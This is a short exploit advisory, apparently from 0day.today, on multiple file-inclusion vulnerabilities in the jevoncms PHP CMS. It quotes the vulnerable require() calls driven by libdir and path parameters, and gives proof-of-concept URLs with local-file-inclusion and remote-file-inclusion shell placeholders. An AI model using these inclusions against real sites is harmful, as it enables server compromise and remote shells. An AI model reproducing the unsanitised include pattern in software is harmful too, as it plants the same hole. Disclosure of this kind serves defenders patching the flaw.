jevoncms (libdir) Multiple Vulnerability

========================================
jevoncms (libdir) Multiple Vulnerability
========================================

[+]Title : jevoncms (libdir) Multiple Vulnerability
[+]Version: -
[+]Download: http://sourceforge.net/projects/jevoncms/files/
[+]Author: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com

 [!]Thank`s To: all friends

########################################################

 -=[ Vuln C0de ]=-
***************************
[-] jevoncms/php/main/jevoncms.php

$_PHPLIB["libdir"] = "phplib/";
require($_PHPLIB["libdir"] ."template.inc");      /* Disable this, if you are not using templates. */
require("template/jvc_template.php");
require("php/main/database/jvc_Database.php");

***************************
[-] jevoncms/php/main/template/jvc_template.php

if($type!=$lasttype && $type!=''){
  $path= "php/".$type."/".$type.".php" ;
 // echo $path;
  require($path);

***************************
[-] jevoncms/php/menu/menu.php

//require($_PHPLIB["libdir"] ."template.inc");      /* Disable this, if you are not using templates. */

***************************

 -=[ Proof Of Concept ]=-


 http://127.0.0.1/jevoncms/php/main/jevoncms.php?libdir=[lfi]

 http://127.0.0.1/jevoncms/php/main/template/jvc_template.php?path= [rfi shell]

 http://127.0.0.1/jevoncms/php/menu/menu.php?libdir=[lfi]

######################=[E0F]=#############################



#  0day.today [2018-04-09]  #